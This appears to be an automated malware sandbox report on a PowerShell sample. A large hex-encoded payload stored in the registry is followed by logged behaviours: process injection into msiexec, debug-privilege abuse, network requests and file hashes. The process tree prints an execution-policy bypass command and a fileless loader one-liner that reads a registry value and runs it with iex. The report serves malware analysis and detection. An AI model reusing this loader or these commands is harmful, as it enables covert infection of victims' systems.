13089ab5b95b04fa41260a446ca7b58637d8b9c750358469e45675894c89855703d7beb06c4eecb540929c6f4581391aa89e804b67e11cb43cbbc38ed466f5768d1865074b84884734dc6555cfca9c93f48e58245d4dae3315d4dfb6376b821dabe23f5c1ac885ae0c9132fb5109dd357695e0b2c904cd0544ee7d5a8a9d609e0178f35faa01f985ec1bb7c25a774ad3678066e22b30d73cac0283da04f6b49f23427f0a2e8931c0d9dc8919ad007e479372c2c02e7e78ed73b507e30402ae6826ef84fc89f24f238dd114c665079e20e87599306eccd65b5949a3c22e8ec008a37a52f699165badf2862e5a8824889201140b70f0aa7007c62d9e1673b971b63dbf2d054145015d1185fb34c4968517b8cf6ca16d104f1919d69c3692b3a4445461bb906d216351a946b95c7d5c515bd2197dbd39b2c2dff7d0d1d2f4e07ed296d67767258328e6fec77b482df88ed9c24da3df27991c73f48be8321f12910fcdfa16d2079cf6c98c61ac0a030e5b0a1a497525ffc3d88597e1434d43425cf91884c3a8604a21215c9bdf7f0b5ff6f266cf8a3b3b7227fc07392ed2f68f75f2a00e7e011e7046bb32a8107a11400de434cd626d1fe843961777f2a16c07be274a39229c93ff990fc21181546879aae13bcb4207a24689c0877e403ea293ef130cd7e7c5d08c2f80baab13e72177ab6e5bd1ac390dc001f617ea7024ae8bbc0026dd8e8b62ce4569292e28b931de9224d7ef63361e63cdb048dd0d0f9aed6d9f2899fe98d8816786ef2c2a6b93b7ef4ff6107d414d3d83ac6430d945ad59e1a91c8e45b4e3ee9e00a5230b716309b17068b7bc7bc46ee21baea168d756dacd0fd74828c27377e0c3470eb14aee9b5804d74e78c42c5f299a8330129afc48e22f0a52a99bbf8f32dfd6be42c91a3d665ddb90922bfb1124e487987852c64c1e1c5ffb73049febb671bdc9a6a0d3879ffee239a088a019fa58737baae5f7b92fcebd9147dc9e63684497e1e761f22053a7cd0c84eec4aa594195af7b6a612fa08288ee30f94c97689a76738dded5d0c873ee8e16c994df7684ecb664327e4f505ad4ef688ade2307f804ba85751eec8f318d997f133269d28788c613f621b0c6299c672427832105fc2290cdc6eddce213daf46283cccafe04230ef537559973efd481d9942c14c56626fe25f3aa8db100a87a2f7be6149b6a9366307c70377689c32197bdf235aaa52d09cfd5104b5da97dff33dc4bbc8abc07c3e1294c74f543d3d45778427aea17f6f701aa74cefbefd956ba6b96629f6446e2becb248f4f83e8b67bc1f33ac84f751ed0ad4a8f3d93e0bd5bcd8c3a797ea59650bf74015b8b50a8b4a85c2c5ab0ef50ec918470651b61f26fc8a864c34bf492c3fafb90c79bde62dd44b17441324ef2b0c8b707ea4198ce007f54cb289d27594835ecdf5ed8a9f51af2081b2d87aed2a22eebd5ef45d8fed7c6ceb8d6b8af510749c2f911c57573fb8e23777cfdf370994b4b334b0abf0e775be23260c292395696a0c3aab86d49f585e3cd838df9a13833b28db0e24b0dd9fba9cf2fd4449e6968bc3e5675d47ab365872826b5ad4392e20a222648052abb7fa92351e7410b57815e5f227a06982f4f0ab98f766fc3dc65ab8cd9520707efce65c5ae28751430c594319700eeec3e9ec3929aab575fa812071b94ce8023473cb72ac2f118ec53fb43f95924923ed4d0798ecbba9f381c14cb56468fdb8aa6488a6e72a19e300ab8b727dde9cb917c85803db80beb1bbd961efd41c164fd52f8fe0aa46ab85532ab7388d4399fd1ece5a18f57cffa3080388643b64da02f30c4497254fa12a05af35a0f238e19193b4709a749e4618d39caad786c14e01057b7f1e1f549a824fe25fc011d141aec220b0996fcff490a8446d4b9e5f10b88c96fa438cc615deab459bb5afb9917a9580ff49f78fbeb001f30a3eb58f18808584435711e950ffc46b86af5a44cd2c947bcd4bc278567c59a774ebd38a513c85554f5aed3be31c907bf60119640b2eb1938f014fdbc463589ed0ad0b302b66c62a2de5a062239d9927b3ae01d9b0e647c39270e7dae55648d785c4adf257f5c9f66b9b48d13ec04e0db1349d31d9cefe6ce58c0aafe5a955e6978fc9af0abe86ecb528077399caedf5a98347a8b21d765b1a13cd1ed8e566bfcd75a4d1605c22a245cc85bb0cc84a46ccd34475cb1b309cdb65cb7ab75a1b16492fbe7234a7951c8d6b1822adc6a7dbd0f61f7ec517ccb8925a7648702f51fb08bc4098c8cf49960dccaf2f92d03313d9a2a1165f11542721eee2447a8e763496feb9433a43c37cdf942d077c8f7eeb697ceed1de4d057af74da8ce99e872ee1703402c8eb701e999ed935dca571728ba402e70d455a411436d92ea6cdcdaf9dd3fac2c5c939b51eb262fc9b3bbffa3dd199948effd24ba6a79f6f5afcd3933f36d47aa506ff736ee9b83d9a040dc8c79176f4d4b10e47def88f252c16461ec0154b227b5897bd915e6d1369b54a922712a66b098cbb75160d0deadec2f92186ca3becc7524683d3bc2dac457ca5986a2254784c35da48f3a8af8eb3439434350faae58d6f3901a5a872cfffcf56153b8b0d5aeb4ca53c503bd63fedda3b5a06872a2bf36c239f2b197b41fac97524299ec9c237336aaf7e82d5a784dc42d1a1d7e2df061bdb2a2b3c790fb923e6ef542c7f322570baf29d8af94cb4b64d903da442b05ecd0cb50e3f34e6ef53a540af644f557fcfc1423ecc9bc8ccd46bcd9c95258e4f859bd3fe26330e1a1c51763511db903dc400b11b2eae9ded060d6458b8e3f651deb609022627c6431f0dd7f4dc6ab33925b54d146abbc55e47b3ddc3c91c95ce3d9f9d69fdab8c1806eb3181adec7c042883665ba474cd2d86a9943a71e7ac53fc33cb56d10b8b72d02e2cf686f231833c8e1413ab5ab942116d836095327272943c46dd4b649ecf2a13003ca5015e5f6d09c2d680d80cd8a78299b8a2e416518d25b59ca5c71e1ff011195ca3f97e537b014e226821da7d6b9679f345055cb3f53687bdca5647b641956372edb19f295ab54a03a973b4e3907abbefe7c7f8701858e2689e956c17013a2a82bec16bdc4eb28df821a42388e4ffbf52b2c57b1c40ef1149ee9b6be6fa1ce48114ca90a2fc2e558175dfb9a61741b2829240b7b432b84767fa9ce33b09f48d6ab50870e6b3666bdcd1aae651499612abcd6bb6c8618cb315cfbf4a74b8db11ab48bf37b746dc5a8ef15730cef900c6f6d8e18bf1f179b767f41859c808f628bc8719ccd8b5ef1ed5cb03f70905005b46c0e83485a703c172d3af96d76c46acaf5f75273606abb1ec9e8e603e3ecb7c72ccb32cec5a9e2968dcfe245c99b0fbb2722389e3f98ad0e316f04a82bbd7e6d9e5d77016eb857fe11ef8aecf8b8b8a5c1a8d6a939e4dae83b58609c21f14c0e211f08be9b09451f08cea15ab77b39a63f67088ce2922e2f8a049d9d8eb09d884d6ae5b3c750be993ec59eeca5148b4c802614ce138b412a378fe06f342ab5fa888175a8677d6fcc250ae1d469f8e4b5d60fbbb3c60d121bcb12c15b5d77f034c72a29f35fad44a9caf48a63709952aefef7eb17bcdea619e7514a5ff129a6261e6a7a74f4cf16c98cbb0104853f078a7b70e3268c7b72b6c12a41b7eb8a476cd123571003a0a786d0e3a08d2a154d21d8d412a193e9328998aa1de6201d1ba5213e4f0b53d6c875a0356eeba181b0db2d7a4f539d960a15784187415ab5cc68e23ba81083c37eec28dabcc311af3e59e1e44366f2ab14262192544e9c6cd20ba282809e991799c923bddefc5707bcac16358d2a5ace0aef0be512157f862ce9e0b98b867f92b4c55cc77ed7e9843064a53f47bb450e31625b69024532826e0c5156622f279ba3882976cdd8da199aeab543a7a41378387828651f93a067885881cb911236123a7128af630a09a6cd4768049908fbc5b83a75a999d04a90220bc9b752ef52986369035fe9facf37e0a3dc03a5b2db309501a5aee1d8482e90fd47323f2502c560bfb4351a7d0bc733e2487a515326848da93041154fb076b99a31cbb98e73d2ef45fd4988a44e29518d066b73c6262bb8b57d55cd022c000feccaa3510f55c5591697d2da11330b1a12f9158a02913c83730e0fcceb795af5bef98867839704f94ad29498c9568d0a41f32d2727ee2399993f2a9798b7f106318881f92275126ea8f66ce3a0357aa041acbde970e082eee60b4eacdfd38919ef35d1ffdedc2062d1f5f96dfdda6e04c02d789b7c3d2713fe2a9e21ffde71feacf02e9b76f651270be0312775e28eb6688bed004586328a42477fd62ba8d913f3bea1e0b4eb6af36ede0d950de9eb928f2e2610188d2c3d763b8d951476737089ba5d6a681e5be6bb78c1584da4f2207bb66c076a016eb67f6feb2665a86370a98622f790fd7c6f06ef4988e04c0c33e1111f30ef98d257027f98585bda888b24c162ea5005ca662ba2cd17d14b248bf120d37c7de376f680e8c2fe4d4b5014f5b52641a029877db0afadbd60872928b4414ca638427bbfdbb20bd929ec77dfe8f039518661fa8df7b2a3263b1c50ae2013448e226c18e2ad07812d6308a3ee702331af381ae9e28dba5792e5814f86899e13a8f28a0dbef08e2c9fb4330facb636c1b590bffd4866add6277b15c7b5bda222a5be4724f63e1e56920fa728cb37d455bb8a636ca6721d7e0c195a29d2f2a2fadb6c89d82bab07896908a97c0e9495ea9ae755924e1c53034c0237682ab461d8af5cfd9fe26e1fe8cdbf8ec35669026085e8b4aaa9376371f737681a10687845db450ba29e2cb7e8254a975e23568b43973fb4f5ec03256ada69a74af563e40b9ba1efa93f76334e02696b13f79f5877eb2cc24a2f902dcd92947e1b31919daa7788c60dfad32456274cd508e88b44f8074e082970cf49f9575c6b609f02508f3ccebe54122278f03aaf53e1b1f6657ec8be95d3f1cf869be1b11e2c6622384fb984159330901daa8396c201f7168caa9df3e58a1bae9845ed5f14be137dd79265913598b5e92cf31932a7ecfb9c7e936afc4f3a93d470425867785d7f3656ab2ff9114ab88dfde11d9a3a8498f282e94604ba1286b159dda72da196e48864110bdffdbf73475cf8a70f121336d9663268e2e2fb99e1c3d0a35d27fa7bf9972965133b89dae2ebb5f50363a866401e7135634393fad6178940e56db99e8e56a59202fe529255db6cdd54b5a941cf1ed8a77edcb4720253e90d929e57165345cef71d59783ba9ededcef600cd5a54f33c535f530b3fe831d73700882b95238e0cef33f7d6233c015076d7907b3385e9dceb2140a32b4f868bb4b02baedaad5b61b84b1670d766ef2d677bec525269da581b795161801b226a4174f4d63861691a25877886e8497007adec80d032edefa8fd1f6b3699a9b73c4f609e275dc1d724f0507a8b860587a3f9c7f46b3f20e889396c9e7fe296622e86d81920725fff451496fbb5574220129ca82cd65146b5c2e8a27efda0d884dd564b1a6f0f8ff2e8e808144c4007f4cb8dde5e2f1471341ea62554b9e30c58b043d51fa1bb5e23285f89c33e68e4d4c06be387f7087d6a0903ba71fa7f0652d39805da8e0366fece138659e0cf7d280b5bf6e8b1aa47a646fc94d21f32190ceea09ea9d66d3b4d7fba37d76e1859217c7df8563202db561d14de5e27e21aff5b0ea82173217695df72127c6345d63f7b6e22bdff956bf8236fd95164c358162fd6680cf7afade2c2e2c12737a73438701c2530f3e50a6f816b9ef1624b76fc65b7046c4b3a8bff5e928ee0938bb2df62e86ba3f7461e2c1d726f1bd7bfc9de533e7312023acc21210b2bcb48eea2558003e48ac7bfd839b76989075a109ab478f89ebbe25e634452d21cac77f330f3b7085a35f7247d20bcdbcb7ebc3c3c2732cc2c91260bf600701b1cfebcc5691259fbf4eacc68691dbde006dc4b4db2a00dd81e91195160f3b65c5476aa10d0a223cfbaa41220eb721572631b01971d91eb9df5b06cd2aa08500b7c72f266371905c02aaf9c175bf09c13ef2204b61fa3fe35cec3b790c7f480e0cf6b508c61745f9d6c8610a6c485a37d43fdcaba678b7ea3439afdedd5e32e70226ee35ab861885d8d2d8d3ddeae64a29ee37a6c4eeca8564d27a043eb885360e409b2b4658baae5d3e6a61cc644910fcc9ffd3c619a0a38dd1aa596657d40fc5156de0c462ad7546224f4c8971851fb2a3d86e2348083acaf917993cd7d9abe03ba54bbb0e0ab1ec6893a2a5d05f329048faa894c8df90f54cd0ccd97d200483c0d452c3ea2f0db6a99fc822b34064f075ee3cf833008cc2388f49c3ae2d779824cc2ffcd4f6fd546d44f030f143c0b1ef7dd776b8264ddd392f1589caecb0b007e4084f59679456bf81b8f9d0d0c81cdf608a7f34bb3ce74cf351db7fe0564acdee77733ab132498cb0002b3d95fb0a8b6a5e2b43609e14cbe9e08b677502366a027cb8e32d511a3f82334e3dbd38b6c3f37e48190ea65c375a14596bff17d670c970d2105228dd7429fbb918fccbe8a174bed873ddad2d3888076a50710d848bce30c03003668b947e5232fe587328dcd2503cf98e650b8642a54de7ca2dafced1de4d58a3848e8fd615b08606e845063463f757a3f07b6d981b5ed2bee2a71f967019059410303a5bd08a8a58ebf0806b5dd5e7fe63f72a98e4921e1ac0e9e51d672bf6ff3f7e829559c89a3a801a19030e2a29de6b1714115df4aa2521d38d67e1d0cf893d6c4a0ec63e1ea64f28f0b4537379f33b272b5f6109a497e472086356d698d8641f8031b8c2151a7691ce565f964a8e0d7611bd198cf17fdde8f2120aa6aee294d4d8e061b96e7a55d2c3bcea8a2dc718f425f41fe3f87c721983d913a16427b4df206d648c59b399536687dc2f75eedf507002a086bdbf4dd7a8bc8ed2e7036890afeba956227038dcec9124f28430d0122ed2eb0c0711e9b8ac122b5c4411dbba410c1a3dd4baf8840f6b97e68fec7b0246296be368d1c3e129b7929c63c229d40af97a648c43788e5a4195fd7317da1a493d9ca29a8b68ac09646e11ce5fcd4bf3a7efd714f98a16a6b05a486959c6b1f5e6f2758f21fcdefd9e9fc546bdc1bcc2115686b50ae1f7af2e67849de7409724a891c2760d7b4f8bba4542d7bbf65cac4e7d3d9b9695f14e0fd3cee96f52b3c44566b2951febee8075daccc6fb646374ce65490b12d8b6fe59113e635ebe697adf7cd75a18524b3a01e62b09d76f9bc5dae2938831909d083e61868f703ea93521eb52d6a995ca273d5d3ea03c3d027e00e2ffde10c1bf4ced0b91e8a7f0f2de45da6e4f7695099ebac9ead1588a2875e9e35dfcd8180458c018759ecce290dfb2c52cbb575ccbbed3487e8165cb63a6868113d24e2151b04f2e597df03a78d20c4cdd95724e6341c82e736025101da84a8551ea5dfc408bbbb5ec662cd83f2c0b070d81dc3a49b55d2658c3f4d52399c740e8cbf1ef1a7dfe564ca936f8838afbf86ad1ba580075086fec2c60a75ffc624921de24dfdab345aafe6c840b6db3f29369bc6f5a9901c10ffab3049b0d9ec3d5f8680993ad5b2fbfb37fb5448f93a263ffb72d4acc962e7f7e179dfb93a0643af0e4106eab893cd54c12c06819a3a252fa0f29ab14bb62e2e1dbf23f52bea057965b27351d28e5ea4434eeab7413b05f41dbf7cb41faf6ed754d1f79f2685c3cb78e67d087c5d1a0c195b4dc28b141625d52deae8575cd0b3c5c03bfe5bf495903b3e47eb29c0fded3e881b211a5d91b96527e151e4adfbc4c336a2d5209fbcca3d149f0ef633ab04468056569b5973cc8989d81e13aac0bc70bccaa4990495585bc322c1ce934a3f98d65fc1e3b686a8656beeab91c81e5db95e49ba4e13c579a5f58471e390180139752c5b173e08a83a1b2f1da050c3d3eb79a0d2f7b152ad8e042f4beab3b39e672d07cf667620966293e57c22a7f75abc3691e1c6447771bd08ee2374668f8c621c4e7229a99105c6ee48d9eaa8aefb2b3546141f03777390af4b57d59e2323256fb393fb8c421a1b1ee954cf604e56be0453a0af2ab9a81cfc985fc479a00473126adaeb77c49df46062e72a1bcd14ef04d3c8fd2c7dbb0dc0bfd12dc637d8a6beeffa18801871d122c4dbdeba55243ca7d631c249eab8a698027d9d8d4098beb9d39a0c10dba3c9b16cc285a7a91e1598e6b84b7868e93139ee78fb9e94b943f6c66cab4d9d21b73bdab3f4d8deaba2020221255d04374d28a95185a8b01a3b3479e470cc95de1dc99ac4ee1ad9584706706532c427ed13d8e2455ce1dc0d1b19b375955bbf289a08713fcda18ae021fe6d6003f5d949c72c4cde26954e3639dc321a80621e6ce08d07dfbe8ab5bfa69d54f8d6d0ddb309206663bbc61d0f73827059c36b8ca09322814896d2597e215a41c295eba2820aeb564b60d965573085eb85c7112baea64c578101db110f4721d25eef4c3c2b9990179a15e151933947b3c30672e9e849e375c3240050e3ac0613a0676a822e20adb04bbbe9404b3ea6b33c96907ea4f9bb9b04840a258fa38a94f77f6b8fcaa1be09a074269ede8052193be97a4d555ea62240a79a00cb6dbda3ccc5743dd4ee49357e368ba7397c55bc9f3394f0a3a03c0b41963ff55b9f5fb60f4cd721978ef9ead3b93401dcf4ba62e626bb4eabe829223a5be5811f15fe89b9a0cebbaa367d4978efc8e0491f7f3e240a1aee4032ad2157eec0a28d0834b089c48397e5142da017f8e01f63a7fafc7c2b1aec2af8e7bc0e68a0e7bb6a669fdfb87bdbe990c15c172e3084eb918a4d36494528001267e425b0fa068af193b1b35bee8e140f2e8e0907ab288bd4675f98297a5cc0640ca64156ecfce9df867e9eebd1c10f935351357a626705eda9f6d57fc66b4423723a15403d88d8761661343e25a785e03d96070b51c9d7845e01f35cf645091c20f84e587e1bd0b3701d6cffda2ac06e7b5c307224300591b69a246fe51f8d4fef31be04a43bf3d2db13f834ea3ef2f15e969eed286723310e7374f265dacddadba9cf7e3f0a02e6bd8c9dd82001eb0568cacab0470da9791675726914b57a353f8773feeed65a16935785ac2c5ab640500da8673f55a99900df6d3c3eb33581608dd295a30f7212bd242ca943f68dfc68e615ba8110b0a25a9f13ceb4269e408ba997a0a5b2df34656c8236e6a0f5aaeca5f57f9a33c28fe1e81b2f8f63c99c9c0830014801811473204cfa5b300736964406ef62b43106575829b02c8393ead26e63a635b18525fe591135207490a87aea3334daff95f8b5a53657b0be5bb1eadbbe0a1a298c4cd323fda4fbc51a06474c78d5ab895030e3c959f5635d039669c8d332aad62d3519e9ee60b0a9e30f29806950d17f74ad898c31e3d50eb991ce44cbffbcc9cc8fd68cfcedf2264f6ead42f66da015a99a2e713636a0018bb1d85d55a38169e3861ee2f5916ea02afad28312d91df43eb252a5e9295174338043fabc9797ee113ef1c5e6fd11c2c97e1c9367b714e449aa53d0f1e22c43dc4249540d17d9e37e1c6e707822e3efbc0a9974af2063f09b119504ced9e348b80eae0afde1b4b27070628883c6074fc82ecb3ddd1cd355561c6a943612ea65973695b8ba4f6c903e70db986901cdc5351eb2feca5aee174bc03c1ffcfbf39fbda0ad9d600f3d687507f2ad344638e35a6a4c21c5ecd3f71146d7b6d380e3d47722b82b063d9fd9b19dbbc5ed9c1690f4fa532b5793dc0f09f1375c4590bd93ffb5ed789599a3448dbc7668ce854125a0efc726131a2da63163cef8965ce72647e54cefd6581c1e727f975ecb37763bb32720becfe6a031597fa12724c0681a26042ab0847cb7bb9ec9d8f2a69ad707fe9db9f264c77e95f64c6a463530daee4558fd410d39d55b5a6a15029e5270ed0a3492f5f06ba8dbf3221d9b8ca21da8fdf27a9c28eff1390b6cc3c8139673a10e40a7269909a5f1a7c88064fc99f80be5abf989037611bad8c7cbbfc56bf1e544f9041ed74bb441029dd85659201ca7613241da1b3f70833345e4280cdaba97cc5112b91ccfddda87df3936c62762b405ac67c9aa447d4ef1011c43b530ebee4d562f7106381895c666c0d0fe3020d23bfd66c31be3dcbed7455b182afcf078dedc15543a8f118f34c252c419bbffd782ea9171a4108b5faa8ba2a632aecd0c37bad447c5589451d6911aa66ff57b0176c75a49087a97d12ab1ce20177ff12348de1387add6cfb1f4c303c6fa1442ebaaeb19fc43dd1622b8e44933e923cd9b9a32e3d86524f92ea39020171c204934a52df23dfb04289f6458615bd785f2323f35600dcd8845a6fae26e8230f6c2315ae3051afe3df4876f59d8aa1b61679034e3c2b2d525564705b3cc0710a21edf998f6f802f01040c2ea9dc10d38ff54f9fa541b1b3eca73848659bd4b1b9e8e263ed4a60a1d2583ea01c183822472b47ecc585172331081eb5ca9fabc6bc80cf21892a9cb099a29f1d99bdb07cc2c4350b72401cde281c19151718cd0b8257f3d3caaced2db4bd7b1b690620266216f746b5c905dd2692f607224fd667a2a1b6d5ba10eee5eacd0e82fc3f329518f0e359c9981f19ef659ec63a332f9bbd8813706baa75d4d2e449d4354ac6771a543c3a3b46033760d0ae9288b2343d5e8a066686599f4e5614dda1c8e8fa5c4be18f6c8f9c509c1745f3f664ca369c0fbc86d0fd31143d0fb34038f453545ff32be5090debd3da55b81adb9f55e64c1b72acfe6f89d64584eb17f021422942a2b3d06ae2f7b857cfb8ed503ce1530c9217fee87e422f12afef2369ed3fc210a37a74b688ecf15e6b6775c9361ac37aee687f89888168521dc9369c4e37ca108366ece89193f3f2b8a1395ecced45a649ca8b9804f4b0d20d493a4b7645eacdcb6c73977fba89f5bdaddcb4ce201e74faa8b1619150554397e1c69543d36ca51d8558604e3e6c2d2d8d88a10ceaa2f488118505f4ab7029a04913a220771ebdd061c9215a083cfa50d23887e43e0e6e71dc2584288f684e26e988904b2d4a20f68cd344c96c42563d482daaf970cf6c83e3f5ad6d838a37e0173be0979ef13bd0ef96322f643bb20d68f0698188ad108209cbf73fcdae4bdd05ac9667f810d540938f8cbfa5a powershell.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\CLSID\{0D030D04-0E05-0F06-1007-110712081309}\ProgID powershell.exe Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\CLSID\{0D030D04-0E05-0F06-1007-110712081309}\VersionIndependentProgID\0D03 = 702660447d7462714b3755655335504943512248584a213b244f2f7e7a79772a245d2b54612d36526d2773727b597532236942452866573a5a6429683e4d6a76256c3f6b7c6f786a3475697476647a61376c6d313570656e71326877623067336b797339383a39562e2d4651597932653c632b5c72457c345d7e306b7322425b4d6f6d5226476a4b7d44376c483e4a71644e2c3f535f706155624c576721365e7a78237624752a607b544333382928692f6e66403b49274f3577503125683d58 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\{030D040E-050F-0610-0711-071208130900}\CLSID\ = "{0D030D04-0E05-0F06-1007-110712081309}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} powershell.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\CLSID\{0D030D04-0E05-0F06-1007-110712081309} powershell.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exemsiexec.exepowershell.exepid process 1820 powershell.exe 1820 powershell.exe 1656 msiexec.exe 744 powershell.exe 744 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 1820 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1820 powershell.exe Token: SeDebugPrivilege 744 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
powershell.exemsiexec.exedescription pid process target process PID 1820 wrote to memory of 1656 1820 powershell.exe msiexec.exe PID 1820 wrote to memory of 1656 1820 powershell.exe msiexec.exe PID 1820 wrote to memory of 1656 1820 powershell.exe msiexec.exe PID 1820 wrote to memory of 1656 1820 powershell.exe msiexec.exe PID 1820 wrote to memory of 1656 1820 powershell.exe msiexec.exe PID 1656 wrote to memory of 744 1656 msiexec.exe powershell.exe PID 1656 wrote to memory of 744 1656 msiexec.exe powershell.exe PID 1656 wrote to memory of 744 1656 msiexec.exe powershell.exe
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file.ps11⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1820 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1656 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='5725';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:744
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5765c2233611e13e5c0b9954e38d24e1f
SHA16e4576654f687a623b8a8efec1f63b090bc5f1b8
SHA256560299d5f15a51b477ad26f4ec3a578f0c926a7b2379350e849d7d9d3094bf9e
SHA5126a37f630c55ada1ac2baf9e1867836ea56ffb42910e4962b9a728af7dccf28da612930270c8930c5c602cf417d320c04f95a94a90f4eb6cc485a08d07f1e85e3
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5f1721d05fb12b4317c7215a866392d21
SHA1b79cb6e990c1d1ef28c308eb03a2bea5ba4f93d1
SHA2563b11d642efa9cf16f29665f17955a46ca94a4f1bebab10d31dafd88ea1576f6d
SHA512b6a64f5125e5aaad4c679fb5beef793cc7428a8d545380469845dc77417afe4ac4fa7d859a8ce816af8949b09136060a97178722d3ed4f9ff91b311c57af75a2